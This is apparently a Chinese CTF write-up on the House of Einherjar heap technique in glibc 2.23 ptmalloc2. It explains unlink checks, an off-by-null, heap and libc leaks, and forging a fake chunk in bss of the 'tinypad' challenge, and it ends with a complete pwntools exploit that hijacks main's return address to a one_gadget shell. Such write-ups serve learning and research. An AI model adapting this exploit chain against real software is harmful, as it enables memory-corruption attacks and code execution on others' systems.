Pwn Ptmalloc2 House of Einherjar

英灵战士的家!

在 free 的向后合并中, 存在这样的代码:

1
2
3
4
5
6
7
    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

这里的 p 会减去 prevsize, 得到的是上一块 chunk 的地址. 如果 prevsize 被劫持了, 那么这个 p 就会指向堆上的其他地方.

接着他会被丢到 unsortbin 中, 可以通过 malloc 取得. 也就是说是, 通过覆盖 small chunk 的 prevsize, 可以达到堆任意地址分配的效果, 造成堆重叠.

还需要在事先在 fake chunk 处布置一下, 以绕过 unlink 链表完整性检测.

1
2
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这里的绕过方法可以和 unlink attack 的一样 (如果可以的话, 那直接 unlink attack 打就行了), 但是很多时候不知道 值为 fack chunk 地址的变量 的地址 (这也是 unlink attack 能打的条件之一). 如果可以知道 fake chunk 地址, 那么也可以将 fake chunk 的 fd 和 bk 都设为 fake chunk 地址, 这样也是可以绕过的:

p b f r k d s e i ( ( z s p p e i ) ) z e p

这样, FD 和 BK 都是 p, FD->bk = p->bk = p, BK->fd = p 成立.

如果存在 off by null, 可能能打这个攻击方法. 0x8 结尾大小的 chunk 会复用下一个 chunk 的 presize, 而 size 的最低位正好是 PRE_INUSE, 写入 presize 为想要的值, 覆盖下一个 chunk 的 PRE_INUSE, 就可以用这个攻击了.

本着学习的性质, 直接看源码吧… (源码不是很好放的样子, 就简单说一下吧)

64 位 ELF, 没开 PIE, 其他全开. glibc 2.23.

4 个堆块, 维护指针和 size. 具有添加, 编辑, 删除功能. 添加申请最大为 0x100.

其中, 删除的时候没有将指针置零. 编辑时是先写到大小为 0x100 的 buffer 上, 然后 strcpy 到堆上. 读入的时候如果不以 \n 结尾, 会补一个 NULL, 这样就会造成堆上的 off by null.

输出的时候, 判断的是指针是否为空, 并且使用 strlen, 所以可以利用 UAF 泄漏 heap 和 libc. 具体就是 free 两个 small chunk, 丢入 unsortbin 中:

1
2
3
4
5
6
add(0x80, b'aaaa')
add(0x80, b'bbbb')
add(0x80, b'cccc')
add(0x80, b'dddd')
delete(3)
delete(1)

交叉是为了防止合并.

用 House of Einherjar 使得 p 指向 bss 上的 tinypad (bss 和 heap 距离不远, 且 tinypad 上能够任意输入, 还有指针), free 后这块会丢到 unsortbin 中. 下次 malloc 从这里取, 就可 malloc 到 bss 了.

首先看怎么触发这个 off by one. edit 的时候, 会先写 buffer, 然后确认了就 strcpy 过去. 如果 mem 大小是 0xf8, 并且填满 0xf8 的 buffer, 那么会将 mem 和 下一个 chunk 的 presize 覆盖满, 并 off by null 设置了 size 的低一个字节为 0. 在写入合适的 presize 之前, 利用 off by null 清空一下 presize 位置上的之前填充用的数据. 最后 edit 一次, 向 下一个 chunk 的 presize 写入合适的值, 以供我们 House of Einherjar. 这部分代码如下:

1
2
3
4
5
info(f'fake presize: {hex(fake_presize)}')
edit(1, b'h' * 0xf8)                        # fill chunk 1 and chunk 2's presize, off by null size
for i in range(1, 8 - len(p64(fake_presize).strip(b'\x00'))):
    edit(1, b'i' * (0xf8 - i))
edit(1, b'j' * 0xf0 + p64(fake_presize))    # fill presize

考虑如何确定 fake chunk 的位置设置在 buffer 上, 因为这里能直接写, 非常好伪造, 以 pass unlink check. unlink 中的 check 在 2.23 有两个, 一个是 size vs. presize, 一个是 link.

link 绕过可以将 fake fd 和 fake bk 都写上 fake chunk, 像上面说的那样. size 有两种方法绕过, 一种是写上一个我们希望的 size 值, 然后在相应的 fake next chunk 的 presize 上也写上这个值. 这样可以做的原因是, unlink 的 size 检查是这样写的:

1
2
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
      malloc_printerr ("corrupted size vs. prev_size"); 

next_chunk 的用 p->size 算的, 所以这里把 size 改小来, 会算到一个 fake next chunk. 在这里布置好 presize 就行了.

另一种方法是直接填刚刚算得的 presize, 不过由于这里的 size 非常大, 就导致可能会继续检查和修改 large chunk 的两个指针:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    if (!in_smallbin_range (chunksize_nomask (P))
        && __builtin_expect (P->fd_nextsize != NULL, 0)) {
    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
    || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
      malloc_printerr ("corrupted double-linked list (not small)");
        if (FD->fd_nextsize == NULL) {
            if (P->fd_nextsize == P)
              FD->fd_nextsize = FD->bk_nextsize = FD;
            else {
                FD->fd_nextsize = P->fd_nextsize;
                FD->bk_nextsize = P->bk_nextsize;
                P->fd_nextsize->bk_nextsize = FD;
                P->bk_nextsize->fd_nextsize = FD;
              }
          } else {
            P->fd_nextsize->bk_nextsize = P->bk_nextsize;
            P->bk_nextsize->fd_nextsize = P->fd_nextsize;
          }
      }

这里就需要继续伪造 fd_nextsize 和 bk_nextsize. 根据代码, 可以全填成 fake chunk 以绕过检查, 或者将 fd_nextsize 填成 NULL, 直接不进去. 但是这里由于 size 太大了, 之后 malloc 在从 unsortbin 中取的时候有一句检查:

1
2
3
4
  if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
      || __builtin_expect (chunksize_nomask (victim)
           > av->system_mem, 0))
    malloc_printerr ("malloc(): memory corruption");

这个检查是通不过的. 所以我们其实还需要设置 size 和 fake chunk presize.

这一部分如下:

1
2
3
4
5
# fake chunk to pass unlink check
fake_chunk_content  = p64(0) + p64(0x90) + p64(fake_chunk) * 2
fake_chunk_content += b'k' * 0x70
fake_chunk_content += p64(0x90) * 2
edit(1, b'l' * offset + fake_chunk_content)

我们 malloc 到这里的目的是控制 tinypad 上的指针, 所以 fake chunk 应该包含这些指针. 如果直接在 buffer 上去伪造 fake next chunk 的 presize, 那么下一次 malloc 到这里, 还是没有办法覆盖指针. 于是, fake next chunk 的 presize 就要找过一个地方了. 由于 tinypad 的 page 上有 size, 且与指针穿插着, 并且可以通过程序的 add 功能来设置. 设置到 page[2] 的 size 前, fake chunk 就包括了 page[1] 的指针了.

这里我们就用 page[3] 的 size. 设置 fake chunk 在 tinypad 偏移 0x60 的位置, size 设置为 0xc0 到 &page[3].size.

1
2
3
4
# forge the chunk to pass malloc check
for i in range(2, 8 - len(p64(0xc0).strip(b'\x00'))):
    edit(3, b'm' * (offset + 0x10 - i))
edit(3, b'n' * offset + p64(0) + p64(0xc0))

(好像这两步可以写在一起, 不管了, 写不动了)

这样, 我们再 malloc 一个, 并写上值, 就可以覆盖 page[1] 和 page[2] 了. 将 page[2] 的指针的值覆盖为 page[1] 指针的地址, 这样 edit(2) 再 edit(1) 就可以任意位置读写了.

不过, 好像也不是那么任意, 因为读写都是用的 strlen. 如果和之前一样, 想去覆盖 malloc hook 或者 free hook, 那就会因为原先的值是 0 而不能写入. 所以这里要想其他办法. 由于我们知道 libc, libc 当中有一个变量 __environ, 它的值和 main 函数的第三个参数 char **envp 一致, 而 envp 指向的内容在栈上. 所以能够打印 __environ 的话, 就能够泄漏栈地址, 泄漏了栈地址后, 就能够找到 main 的返回地址. 由于返回地址在 libc 上, 以 0x7f 开头, 而 one gadget 也是, 所以可以编辑.

这部分代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# malloc fake chunk, and overleap ptr 1 to leak stack, overleap ptr 2 to &ptr_1
payload  = b'o' * 0x98 + p64(libc.sym['__environ'])
payload += b'o' * 8 + p64(tinypad + 0x108)
add(0xb0, payload)                          # idx 2
io.recvuntil(b'INDEX: 1\n # CONTENT: ')
stack = u64(io.recv(6).ljust(8, b'\x00'))
success(f'leak stack: {hex(stack)}')
main_ret = stack - 0xf0
success(f'leak main ret: {hex(main_ret)}')

# hijack main ret address to one gadget
edit(2, p64(main_ret))
one_gadget = one_gadgets()[0] + libc.address
edit(1, p64(one_gadget))

由于这里的操作都是基于 strlen 的, 所以地址只要中间出现了 \x00, 就会出现问题. 如果是堆地址偏移什么的, 改一下就行. 如果是因为 ASLR, 重新跑就行.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='info')

procname = './tinypad'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

tinypad = elf.sym['tinypad']

def n2b(x):
    return str(x).encode()

def one_gadgets():
    result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
    info(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
    return result

def op(x):
    io.sendlineafter(b'>>> ', x)

def add(size, content):
    op(b'A')
    io.sendlineafter(b'>>> ', n2b(size))
    io.sendlineafter(b'>>> ', content)

def delete(idx):
    op(b'D')
    io.sendlineafter(b'>>> ', n2b(idx))

def edit(idx, content):
    op(b'E')
    io.sendlineafter(b'>>> ', n2b(idx))
    io.sendlineafter(b'>>> ', content)
    io.sendlineafter(b'>>> ', b'Y')

# leak heap and libc
add(0x80, b'aaaa')
add(0x80, b'bbbb')
add(0x80, b'cccc')
add(0x80, b'dddd')
delete(3)
delete(1)
io.recvuntil(b'INDEX: 1\n # CONTENT: ')
heap = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x120
success(f'leak heap: {hex(heap)}')
io.recvuntil(b'INDEX: 3\n # CONTENT: ')
libc.address = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x3c4b78
success(f'leak libc: {hex(libc.address)}')
delete(2)
delete(4)

offset = 0x60       # fake chunk at tinypad offset

add(0xf8, b'e' * 0xf8)                     # idx 1, overleap chunk 2's presize and PRE_INUSE
add(0xf0, b'ffff')                         # idx 2, free to House of Einherjar
add(0xc0, b'g' * (offset + 0x10 - 1))      # idx 3, block top chunk, for edit, size for fake next chunk presize

fake_chunk = tinypad + offset
fake_presize = heap + 0x100 - fake_chunk
info(f'fake presize: {hex(fake_presize)}')
edit(1, b'h' * 0xf8)     # fill chunk 1 and chunk 2's presize, off by null size
for i in range(1, 8 - len(p64(fake_presize).strip(b'\x00'))):
    edit(1, b'i' * (0xf8 - i))
edit(1, b'j' * 0xf0 + p64(fake_presize))    # fill presize

# fake chunk to pass unlink check
fake_chunk_content  = p64(0) + p64(0x90) + p64(fake_chunk) * 2
fake_chunk_content += b'k' * 0x70
fake_chunk_content += p64(0x90) * 2
edit(1, b'l' * offset + fake_chunk_content)
delete(2)           # free to House of Einherjar, fake chunk in unsortbin

# forge the chunk to pass malloc check
for i in range(2, 6):
    edit(3, b'm' * (offset + 0x10 - i))
edit(3, b'n' * offset + p64(0) + p64(0xc0))

# malloc fake chunk, and overleap ptr 1 to leak stack, overleap ptr 2 to &ptr_1
payload  = b'o' * 0x98 + p64(libc.sym['__environ'])
payload += b'o' * 8 + p64(tinypad + 0x108)
add(0xb0, payload)                          # idx 2
io.recvuntil(b'INDEX: 1\n # CONTENT: ')
stack = u64(io.recv(6).ljust(8, b'\x00'))
success(f'leak stack: {hex(stack)}')
main_ret = stack - 0xf0
success(f'leak main ret: {hex(main_ret)}')

# hijack main ret address to one gadget
edit(2, p64(main_ret))
one_gadget = one_gadgets()[0] + libc.address
edit(1, p64(one_gadget))

op(b'Q')
io.interactive()